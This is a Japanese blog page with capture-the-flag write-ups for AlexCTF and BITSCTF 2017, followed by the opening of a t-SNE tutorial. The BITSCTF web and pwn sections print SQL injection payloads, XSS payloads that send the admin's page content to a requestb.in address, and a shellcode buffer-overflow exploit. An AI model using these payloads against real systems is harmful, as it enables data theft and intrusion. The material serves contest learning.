読者です 読者をやめる 読者になる 読者になる

AlexCTF 供養(Writeup)

CTF

AlexCTFに参加。990ptで259位。

TR1: Hello there (Trivia 10)

IRCのチャンネル名にフラグがある。

IRC: #alexctf @freenode

#alexctf: Alexandria University student held capture the flag event ctf.oddcoder.com ALEXCTF{W3_w15h_y0u_g00d_luck}

TR2: SSL 0day (Trivia 20)

It lead to memory leakage between servers and clients rending large number of private keys accessible. (one word)

heartbleed

TR3: CA (Trivia 30)

What is the CA that issued Alexctf https certificate (flag is lowercase with no spaces)

letsencrypt

TR4: Doesn’t our logo look cool ? (Trivia 40)

トップページにあるアスキーアートのロゴの中にある。

$ grep -oP '[\w{}]' logo.txt | tr -d '\n'
ALEXCTF{0UR_L0G0_R0CKS}

RE1: Gifted (Reversing 50)

stringsするとフラグがある。

$ strings gifted
(snip)
Enter the flag:
AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
You got it right dude!
Try harder!
(snip)

RE2: C++ is awesome (Reversing 100)

特定のアドレスで動作を止めてメモリに入っているデータを見ると、文字列と数字の配列がある。

$ gdb --args ./re2 AAAA
Reading symbols from ./re2...(no debugging symbols found)...done.
(gdb) b *0x400c24
Breakpoint 1 at 0x400c24
(gdb) r
Starting program: /tmp/re2 AAAA
Breakpoint 1, 0x0000000000400c24 in ?? ()
1: x/i $pc
=> 0x400c24:    lea    rax,[rbp-0x50]
(gdb) x/80i $pc
=> 0x400c24:    lea    rax,[rbp-0x50]
   0x400c28:    mov    rdi,rax
   0x400c2b:    call   0x4009f0 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::end()@plt>
   0x400c30:    mov    QWORD PTR [rbp-0x20],rax
   0x400c34:    lea    rdx,[rbp-0x20]
   0x400c38:    lea    rax,[rbp-0x60]
   0x400c3c:    mov    rsi,rdx
   0x400c3f:    mov    rdi,rax
   0x400c42:    call   0x400d3d
   0x400c47:    test   al,al
   0x400c49:    je     0x400c95
   0x400c4b:    lea    rax,[rbp-0x60]
   0x400c4f:    mov    rdi,rax
   0x400c52:    call   0x400d9a
   0x400c57:    movzx  edx,BYTE PTR [rax]
   0x400c5a:    mov    rcx,QWORD PTR [rip+0x20143f]        # 0x6020a0
   0x400c61:    mov    eax,DWORD PTR [rbp-0x14]
   0x400c64:    cdqe
   0x400c66:    mov    eax,DWORD PTR [rax*4+0x6020c0]
   0x400c6d:    cdqe
   (snip)
(gdb) x/s {long}0x6020a0
0x400e58:       "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"
(gdb) x/80wx 0x6020c0
0x6020c0:       0x00000024      0x00000000      0x00000005      0x00000036
0x6020d0:       0x00000065      0x00000007      0x00000027      0x00000026
0x6020e0:       0x0000002d      0x00000001      0x00000003      0x00000000
0x6020f0:       0x0000000d      0x00000056      0x00000001      0x00000003
0x602100:       0x00000065      0x00000003      0x0000002d      0x00000016
0x602110:       0x00000002      0x00000015      0x00000003      0x00000065
0x602120:       0x00000000      0x00000029      0x00000044      0x00000044
0x602130:       0x00000001      0x00000044      0x0000002b      0x00000000
0x602140 <std::cout>:   0xf7dce988      0x00007fff      0xf7dce9b0      0x00007fff
(snip)
(gdb) q
A debugging session is active.

        Inferior 1 [process 11607] will be killed.

Quit anyway? (y or n) y

数字の配列の順で文字列から文字を取り出すとフラグが得られる。

msg = "L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1t"

ary = [0x24, 0x0, 0x5, 0x36, 0x65, 0x7, 0x27, 0x26, 0x2d, 0x1, 0x3, 0x0, 0xd, 0x56, 0x1, 0x3, 0x65, 0x3, 0x2d, 0x16, 0x2, 0x15, 0x3, 0x65, 0x0, 0x29, 0x44, 0x44, 0x1, 0x44, 0x2b, 0x0]
s = ''
for i in ary:
    s += msg[i]
print s
$ python test.py
ALEXCTF{W3_L0v3_C_W1th_CL45535}L

RE4: unVM me (Reversing 250)

「HITCON CTF 2016 Quals 供養(Writeup)」で使ったshow_file.pyでディスアセンブルすると、5文字ごとに特定のmd5ハッシュ値と一致しているかを見ていることがわかる。

  2          12 LOAD_CONST               2 (174282896860968005525213562254350376167L)
             15 LOAD_CONST               3 (137092044126081477479435678296496849608L)
             18 LOAD_CONST               4 (126300127609096051658061491018211963916L)
             21 LOAD_CONST               5 (314989972419727999226545215739316729360L)
             24 LOAD_CONST               6 (256525866025901597224592941642385934114L)
             27 LOAD_CONST               7 (115141138810151571209618282728408211053L)
             30 LOAD_CONST               8 (8705973470942652577929336993839061582L)
             33 LOAD_CONST               9 (256697681645515528548061291580728800189L)
             36 LOAD_CONST              10 (39818552652170274340851144295913091599L)
             39 LOAD_CONST              11 (65313561977812018046200997898904313350L)
             42 LOAD_CONST              12 (230909080238053318105407334248228870753L)
             45 LOAD_CONST              13 (196125799557195268866757688147870815374L)
             48 LOAD_CONST              14 (74874145132345503095307276614727915885L)
             51 BUILD_LIST              13
             54 STORE_NAME               1 (md5s)
(snip)
 12     >>  144 SETUP_LOOP             112 (to 259)
            147 LOAD_NAME                6 (range)
            150 LOAD_CONST              20 (0)
            153 LOAD_NAME                4 (len)
            156 LOAD_NAME                3 (flag)
            159 CALL_FUNCTION            1
            162 LOAD_CONST              19 (5)
            165 CALL_FUNCTION            3
            168 GET_ITER
        >>  169 FOR_ITER                86 (to 258)
            172 STORE_NAME               7 (i)

 13         175 LOAD_NAME                3 (flag)
            178 LOAD_NAME                7 (i)
            181 LOAD_NAME                7 (i)
            184 LOAD_CONST              19 (5)
            187 BINARY_ADD
            188 SLICE+3
            189 STORE_NAME               8 (s)

 14         192 LOAD_NAME                9 (int)
            195 LOAD_CONST              21 ('0x')
            198 LOAD_NAME                0 (md5)
            201 LOAD_ATTR               10 (new)
            204 LOAD_NAME                8 (s)
            207 CALL_FUNCTION            1
            210 LOAD_ATTR               11 (hexdigest)
            213 CALL_FUNCTION            0
            216 BINARY_ADD
            217 LOAD_CONST              22 (16)
            220 CALL_FUNCTION            2
            223 LOAD_NAME                1 (md5s)
            226 LOAD_NAME                7 (i)
            229 LOAD_CONST              19 (5)
            232 BINARY_DIVIDE
            233 BINARY_SUBSCR
            234 COMPARE_OP               3 (!=)
            237 POP_JUMP_IF_FALSE      169

文字種をいろいろ変えながらブルートフォースすると元の文字列が求まる。

from itertools import product
from hashlib import md5

hashes = [
    (174282896860968005525213562254350376167L),  # md5('ALEXC')
    (137092044126081477479435678296496849608L),  # md5('TF{dv')
    (126300127609096051658061491018211963916L),  # md5('5d4s2')
    (314989972419727999226545215739316729360L),  # md5('vj8nk')
    (256525866025901597224592941642385934114L),  # md5('43s8d')
    (115141138810151571209618282728408211053L),  # md5('8l6m1')
    (8705973470942652577929336993839061582L),    # md5('n5l67')
    (256697681645515528548061291580728800189L),  # md5('ds9v4')
    (39818552652170274340851144295913091599L),   # md5('1n52n')
    (65313561977812018046200997898904313350L),   # md5('v37j4')
    (230909080238053318105407334248228870753L),  # md5('81h3d')
    (196125799557195268866757688147870815374L),  # md5('28n4b')
    (74874145132345503095307276614727915885L)    # md5('6v3k}')
]

"""
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for t in product(chars, repeat=5):
    x = ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=2):
    x = 'TF{' + ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

"""
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=5):
    x = ''.join(t)
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)
"""

chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for t in product(chars, repeat=4):
    x = ''.join(t) + '}'
    h = md5(x).hexdigest()
    h = int(h, 16)
    if h in hashes:
        print "%d == md5(%r)" % (h, x)

# ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}

CR1: Ultracoded (Cryptography 50)

与えられたテキストを適当に変換すると、モールス信号を表す文字列が得られる。

data = open('zero_one').read()

s = ''
for x in data.split():
    if x == 'ZERO':
        s += '0'
    else:
        s += '1'

s = "%x" % int(s, 2)
s = s.decode('hex')
s = s.decode('base64')
print s
$ python test.py
.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

Morse Code Translator等で復号した文字列を適当に変換するとフラグが得られる。

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT
ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}

CR3: What is this encryption? (Cryptography 150)

「OpenSSLとPythonでRSA暗号の原理を知る」と同様に、RSAの復号を行うだけ。

p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q,r = b//a,b%a; m,n = x-u*q,y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    return b, x, y

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        return None  # modular inverse does not exist
    else:
        return x % m

d = modinv(e, (p-1)*(q-1))
m = pow(c, d, p*q)
m = "%x" % m
print m.decode('hex')
$ python test.py
ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}

Fore1: Hit the core (Forensics 50)

stringsすると長い文字列が見つかる。

$ strings fore1.core
(snip)
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}
(snip)

フラグフォーマットをヒントに、一定間隔で文字を拾うとフラグが得られる。

s = 'cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}'
print s[3::5]
$ python test.py
ALEXCTF{K33P_7H3_g00D_w0rk_up}

Fore3: USB probing (Forensics 150)

USBのパケットキャプチャファイルが与えられる。 サイズの大きなパケットを探すと、101番のパケットでPNGファイルが転送されているのが見つかる。

f:id:inaz2:20170206205347p:plain

ALEXCTF{SN1FF_TH3_FL4G_0V3R_U58}

SC1: Math bot (Scripting 100)

与えられる数式を計算するだけ。

from minipwn import *

s = socket.create_connection(('195.154.53.62', 1337))
for i in xrange(500):
    print recvuntil(s, ':\n')
    x = recvline(s)
    print x
    y = eval(x[:-2])
    sendline(s, str(y))
interact(s)
$ python test.py
                __________
         ______/ ________ \______
       _/      ____________      \_
     _/____________    ____________\_
    /  ___________ \  / ___________  \
   /  /XXXXXXXXXXX\ \/ /XXXXXXXXXXX\  \
  /  /############/    \############\  \
  |  \XXXXXXXXXXX/ _  _ \XXXXXXXXXXX/  |
__|\_____   ___   //  \\   ___   _____/|__
[_       \     \  X    X  /     /       _]
__|     \ \                    / /     |__
[____  \ \ \   ____________   / / /  ____]
     \  \ \ \/||.||.||.||.||\/ / /  /
      \_ \ \  ||.||.||.||.||  / / _/
        \ \   ||.||.||.||.||   / /
         \_   ||_||_||_||_||   _/
           \     ........     /
            \________________/

Our system system has detected human traffic from your IP!
Please prove you are a bot
Question  1 :

51592980733851622235329877819524 % 81337315219774907248751097819108 =

Question  2 :

222530311273284491939188931042597 * 5582384329582694587240599887190 =

(snip)

Question  500 :

223942165497608593390730286109841 - 285025587991694605246774446376485 =

Well no human got time to solve 500 ridiculous math challenges
Congrats MR bot!
Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}
*** Connection closed by remote host ***

所感

解けなかった問題は以下。

  • RE3: Catalyst system (Reversing 150)
  • RE5: packed movement (Reversing 350)
  • CR2: Many time secrets (Cryptography 100)
  • CR4: Poor RSA (Cryptography 200)
  • CR5: Bring weakness (Cryptography 300)
  • Fore2: Mail client (Forensics 100)
  • Fore4: Unknown format (Forensics 200)
  • SC2: Cutie cat (Scripting 150)

関連リンク

BITSCTF 2017 供養(Writeup)

CTF

BITSCTF 2017に参加。410ptで30位。

BotBot (Web 10)

/robots.txtを見るとそれっぽいものがある。

Useragent *
Disallow: /fl4g

/fl4gにアクセスすると301になるが、/fl4g/にしたところフラグが得られた。

$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g
*   Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:52 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 351
< Connection: keep-alive
< Location: http://botbot.bitsctf.bits-quark.org/robot/fl4g/
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://botbot.bitsctf.bits-quark.org/robot/fl4g/">here</a>.</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at botbot.bitsctf.bits-quark.org Port 80</address>
</body></html>
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact

$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g/
*   Trying 205.139.17.49...
* Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0)
> GET /fl4g/ HTTP/1.1
> Host: botbot.bitsctf.bits-quark.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 05 Feb 2017 01:28:54 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 41
< Connection: keep-alive
< X-Powered-By: PHP/7.0.15
<
* Connection #0 to host botbot.bitsctf.bits-quark.org left intact
BITCTF{take_a_look_at_googles_robots_txt}

Batman vs Joker (Web 30)

ふつうのSQL injection問題。

' UNION SELECT table_name, column_name FROM information_schema.columns --
' UNION SELECT flag, 1 FROM Joker --
BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}

Message the admin (Web 60)

My boss has created a website. I can send messages to him via a form on that website. He is always looking out for the messages that he receives.

XSS問題。 innerHTMLの先頭を見たところdata URIが延々と続いていたので、正規表現でフラグフォーマットにマッチする部分を抜き出した。

'"><img src=http://requestb.in/XXXXXXXX>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+encodeURIComponent(document.body.innerHTML.slice(0,3000))</script>
'"><script>location.href="http://requestb.in/XXXXXXXX?x="+document.body.innerHTML.match(/BITSCTF\{[^}]*\}/)[0]</script>
BITSCTF{hsr_1s_n0t_cr3ative}

Mission improbable (Rev 20)

与えられたテキストを適当にhex decodeしてstringsをかけると、フラグっぽいものが見つかる。 最後が変だが、}に直すと通った。

import sys

data = open('MissionImprobable.TEENSY31.hex').read()

for line in data.splitlines():
    s = line[7:]
    sys.stdout.write(s.decode('hex'))
$ python test.py | strings -n8
>F@&(F1F
>F@&(F1F
EF@%0F)F
 "The flag is BI
TCTF{B4d_bad_U5BO
echo "This m
essage will selfL
 destruct in 5 s
,^t`abd4o
fgen6-78'
%&s3v.wx_DEFGHIJ
KLMNOPQRSTUVWXYZ
[\]/10cm5
BITCTF{B4d_bad_U5B}

Riskv and Reward (Rev 80)

RISC-VのELF。 16進ダンプを眺めると、dataセクションと思われる箇所に文字列と数値の配列がある。

$ xxd riskv_and_reward
(snip)
00001040: 746a 6233 6373 4674 3072 7275 7472 685f  tjb3csFt0rrutrh_
00001050: 7769 7635 5f5f 6669 7d6b 5f31 6968 607b  wiv5__fi}k_1ih`{
00001060: 7849 6372 6873 6f79 426d 7977 3143 7954  xIcrhsoyBmyw1CyT
00001070: 3372 7678 5374 545f 6a71 3430 5f7a 7271  3rvxStT_jq40_zrq
00001080: 2800 0000 2100 0000 2f00 0000 3400 0000  (...!.../...4...
00001090: 2d00 0000 3600 0000 0600 0000 1f00 0000  -...6...........
000010a0: 2500 0000 3b00 0000 2900 0000 0300 0000  %...;...).......
000010b0: 3700 0000 3e00 0000 1b00 0000 0500 0000  7...>...........
000010c0: 2200 0000 1300 0000 1400 0000 3a00 0000  "...........:...
000010d0: 3100 0000 3000 0000 1a00 0000 1000 0000  1...0...........
000010e0: 0800 0000 2300 0000 0700 0000 2400 0000  ....#.......$...
000010f0: 3c00 0000 2c00 0000 0000 0000 1800 0000  <...,...........
00001100: 4300 0000 0000 0000 0000 0000 0000 0000  C...............
(snip)

数値の配列の並びで文字列から文字を抜き出してみるとフラグが得られた。

table = 'tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq'
ary = [0x28, 0x21, 0x2f, 0x34, 0x2d, 0x36, 0x06, 0x1f, 0x25, 0x3b, 0x29, 0x03, 0x37, 0x3e, 0x1b, 0x05, 0x22, 0x13, 0x14, 0x3a, 0x31, 0x30, 0x1a, 0x10, 0x08, 0x23, 0x07, 0x24, 0x3c, 0x2c, 0x00, 0x18]

s = ''
for x in ary:
    s += table[x]
print s
$ python test.py
BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}

Labour (Misc 20)

複数の緯度経度情報を含むGPXファイルが与えられる。 緯度経度を国名に直して、頭文字を並べるとフラグが得られる。

23.71697, 89.45508   // Bandladesh
22.82885, 80.79786   // India
39.88276, 58.81642   // Turkmenistan
15.43674, 27.65039   // Sudan
12.69179, 17.50781   // Chad
14.91081, 100.47656  // Thailand
45.9267, 2.21484     // France
4.11852, 102.19922   // Malaysia
34.85709, 65.84765   // Afghanistan
28.89086, 68.30859   // Pakistan
39.20502, 31.92187   // Turkey
47.24344, 19.8457    // Hungary
25.30828, 29.84765   // Egypt
18.97119, -72.28521  // Haiti
-13.61609, 17.68359  // Angola
33.84122, 102.23438  // China
46.89624, 69.53907   // Kazakhstan

BITSCTF{MAP_THE_HACK}

Banana Princess (Crypto 20)

PDFファイルが与えられるが、先頭がおかしい。

$ xxd MinionQuest.pdf | head
00000000: 2543 5153 2d31 2e35 0d25 e2e3 cfd3 0d0a  %CQS-1.5.%......
00000010: 3420 3020 626f 770d 3c3c 2f59 7661 726e  4 0 bow.<</Yvarn
00000020: 6576 6d72 7120 312f 5920 3433 3031 3930  evmrq 1/Y 430190
00000030: 2f42 2036 2f52 2034 3034 3334 332f 4120  /B 6/R 404343/A
00000040: 312f 4720 3432 3939 3931 2f55 205b 2035  1/G 429991/U [ 5
00000050: 3736 2031 3535 5d3e 3e0d 7261 7162 6f77  76 155]>>.raqbow
00000060: 0d20 2020 2020 2020 2020 2020 2020 2020  .
00000070: 2020 0d0a 6b65 7273 0d0a 3420 3134 0d0a    ..kers..4 14..
00000080: 3030 3030 3030 3030 3136 2030 3030 3030  0000000016 00000
00000090: 2061 0d0a 3030 3030 3030 3037 3331 2030   a..0000000731 0

PDF -> CQSの対応関係からROT13変換されていると推測し、逆変換したものを書き出す。

data = open('MinionQuest.pdf').read()
with open('a.pdf', 'wb') as f:
    f.write(data.decode('rot13').encode('latin1'))

Adobe Readerで開くと一部に黒塗りがかかったページが表示される。 背景画像を選択した後右クリックから「画像をコピー」を選びペイント等に貼り付けると、黒塗りされていない画像が得られる。

f:id:inaz2:20170205215849p:plain

BITSCTF{save_the_kid}

Beginner’s luck (Crypto 40)

与えられたコードを読むと、24バイトの鍵で繰り返しXORを取っていることがわかる。 ファイル名がBITSCTFfullhd.pngであることから1920x1080のPNG画像であると推測し、特定可能な先頭部分からXOR鍵を求めて復号する。

def xor(x, y):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(x, y))

data = open('BITSCTFfullhd.png').read()

# signature:    89504e470d0a1a0a
# chunk length: 0000000d
# chunk type:   49484452 (IHDR)
# width:        00000780 (1920)
# height:       00000438 (1080)
p = '89504e470d0a1a0a0000000d494844520000078000000438'.decode('hex')
c = data[:24]
key = xor(c,p)

def supa_encryption(s1, s2):
    res = [chr(0)]*24
    for i in range(len(res)):
        q = ord(s1[i])
        d = ord(s2[i])
        k = q ^ d
        res[i] = chr(k)
    res = ''.join(res)
    return res

enc_data = ''
for i in range(0, len(data), 24):
    enc = supa_encryption(data[i:i+24], key)
    enc_data += enc

with open('a.png', 'wb') as f:
    f.write(enc_data)

f:id:inaz2:20170205215901p:plain

BITSCTF{p_en_gee}

Sherlock (Crypto 60)

与えられたテキストを見ると不自然な箇所でアルファベットが大文字になっている。 大文字部分のみを取り出し、適当に変換するとフラグが得られる。

$ grep -oP '[A-Z]' final.txt | tr -d '\n'
ZEROONEZEROZEROZEROZEROONEZEROZEROONEZEROZEROONEZEROZEROONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROONEZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROZEROZEROONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROONEONEONEZEROZEROZEROZEROZEROONEONEZEROONEONEZEROZEROZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROONEZEROONEZEROZEROONEONEZEROZEROZEROONEZEROZEROONEONEZEROONEONEONEZEROZEROONEONEZEROZEROONEONEZEROONEONEONEONEONEZEROONE

$ grep -oP '[A-Z]' final.txt | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g'
010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101
s = '010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101'
s = "%x" % int(s, 2)
print s.decode('hex')
$ python test.py
BITSCTF{h1d3_1n_pl41n_5173}

Black Hole (Forensics 10)

stringsするとBase64っぽい文字列がある。

$ strings -n8 black_hole.jpg | tail
%%u{5{?Tz9Fy
_?=>KmGF
fyJmUQ!s
UX#0htK-?P
l!]Y5-E$
5       c2jwW-4
JeY[pVP=
j3xKE}*y
M&W]>[&
UQklUQ1RGe1M1IDAwMTQrODF9

フラグフォーマットをBase64変換したものを見つつ、逆変換するとフラグが得られる。

$ echo BITSCTF | base64
QklUU0NURgo=

$ echo QklUQ1RGe1M1IDAwMTQrODF9 | base64 -d
BITCTF{S5 0014+81}

Woodstock-1 (Forensics 10)

stringsするとフラグが見える。

$ strings ws1_2.pcapng | head -n 20
Linux 4.8.0-37-generic
Dumpcap (Wireshark) 2.2.4 (Git Rev Unknown from unknown)
wlo1
port 1209 or port 3000 or port 3001
Linux 4.8.0-37-generic
Ln$Lock EXTENDEDPROTOCOLXUa`cq;KGq_Xkk3=jfOHOL3B0xUnix Pk=PtokaX|
$Supports UserCommand NoGetINFO NoHello UserIP2 TTHSearch ZPipe0 TLS|$Key
p3/%DCN000%/
|$ValidateNick codelec|
$Supports ZPipe0 NoHello UserCommand UserIP2|$GetPass|
$MyPass BITSCTF{such_s3cure_much_w0w}|
$Hello codelec|$LogedIn codelec|
        m       $Version 1,0091|$GetNickList|$MyINFO $ALL codelec  <EiskaltDC++ V:2.2.9,M:A,H:0/1/0,S:3>$ $100 KiB/s
$$14$|
f>$ZOn|x
        R|(
u=Vj
f{$ZOn|x
,Q/VHT
aVFzFz

Command_Line (Pwn 20)

スタックバッファオーバーフロー脆弱性がある。 バッファのアドレスが出力される、かつNXが無効なので、シェルコードを置いてジャンプさせることでシェルが起動できる。

from minipwn import *

#s = connect_process(['stdbuf', '-o0', './pwn1'])
s = socket.create_connection(('bitsctf.bits-quark.org', 1330))
data = recvline(s)
addr_buf = int(data, 16)
print "[+] addr_buf = %x" % addr_buf

buf = 'A' * 24
buf += p64(addr_buf+32)
buf += shellcode['x64']

sendline(s, buf)
interact(s)
$ python test.py
[+] addr_buf = 7fffffffe620
id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
ls
flag
nohup.out
pwn1
cat flag
BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}

Random Game (Pwn 30)

srand(time(0))で初期化された疑似乱数の出力を推測する問題。 同じ条件で乱数を出力するC言語コードを書き、同時刻に実行されるようにする。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    srand(time(0));
    for (int i=0; i<100; i++) {
        printf("%d\n", rand()&0xf);
        fflush(stdout);
    }
    return 0;
}
from minipwn import *

s = socket.create_connection(('bitsctf.bits-quark.org', 1337))
p = connect_process(['./a.out'])

while True:
    line = recvline(p)
    msg = s.recv(8192)
    if not msg:
        break
    print "%r" % msg
    s.sendall(line)

interact(s)
$ gcc test.c

$ python test.py
'your number for 1 round : '
'your number for 2 round : '
'your number for 3 round : '
'your number for 4 round : '
'your number for 5 round : '
'your number for 6 round : '
'your number for 7 round : '
'your number for 8 round : '
'your number for 9 round : '
'your number for 10 round : '
'your number for 11 round : '
'your number for 12 round : '
'your number for 13 round : '
'your number for 14 round : '
'your number for 15 round : '
'your number for 16 round : '
'your number for 17 round : '
'your number for 18 round : '
'your number for 19 round : '
'your number for 20 round : '
'your number for 21 round : '
'your number for 22 round : '
'your number for 23 round : '
'your number for 24 round : '
'your number for 25 round : '
'your number for 26 round : '
'your number for 27 round : '
'your number for 28 round : '
'your number for 29 round : '
'your number for 30 round : '
'congrats you are rewarded with the flag BITSCTF{54m3_533d_54m3_53qu3nc\n'
*** Connection closed by remote host ***

フラグが切れていてこのままでは通らなかったが、same_seed_same_sequenceのleetと推測して補完したところ通った。

BITSCTF{54m3_533d_54m3_53qu3nc3}

所感

解けなかった問題は以下。

  • Showcasing the admin (Web 80)
  • Good Samaritan (Misc 50)
  • Enjoy the music (Misc 60)
  • fanfie (Crypto 20)
  • Enigma (Crypto 30)
  • flagception (Forensics 30)
  • Tom and Jerry (Forensics 50)
  • Woodstock-2 (Forensics 55)
  • Gh0st in the machine (Forensics 60)
  • Remember me (Forensics 60)

関連リンク

scikit-learnでt-SNE散布図を描いてみる

「scikit-learnでPCA散布図を描いてみる」では、scikit-learnを使ってPCA散布図を描いた。 ここでは、scikit-learnを使って非線形次元削減手法のひとつt-SNEで次元削減を行い、散布図を描いてみる。

環境

「scikit-learnでPCA散布図を描いてみる」を参照。

MNISTデータセットとPCA散布図

MNISTデータセットは0から9の手書き数字を表す8x8グレイスケール画像のデータセットであり、irisに並んで有名なサンプルデータセットである。

このデータセットについてPCA散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = PCA(n_components=2).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7f880818e6d0>

f:id:inaz2:20170124152915p:plain

PCA散布図はデータのばらつきをプロットするにはよいが、次元削減により主成分ベクトルが作る線形空間での近似となるため、PCAが仮定している多次元正規分布から大きく離れた分布に従うデータでは高次元の特徴量が持っていた情報の多くが失われてしまう。 このようなデータに対しては非線形次元削減あるいは多様体学習と呼ばれる手法を用いることで、高次元空間における距離をもとにした次元削減を行うことができる。 いくつかの手法の概要をまとめると次のようになる。

  • Locally Linear Embedding (LLE): データポイント近傍での線形性を仮定する
  • Spectral Embedding (Laplacian Eigenmaps): 距離の近いデータポイント同士を繋ぐことで得られるグラフ構造を用いる
  • Multi-dimensional Scaling (MDS): データポイント間の距離の大小をできるだけ保つ
  • t-Distributed Stochastic Neighbor Embedding (t-SNE): データポイント間の類似度を表現する条件付き確率をできるだけ保つ

ここでは、2、3次元への次元削減において高いパフォーマンスを示すt-SNEを用いる。

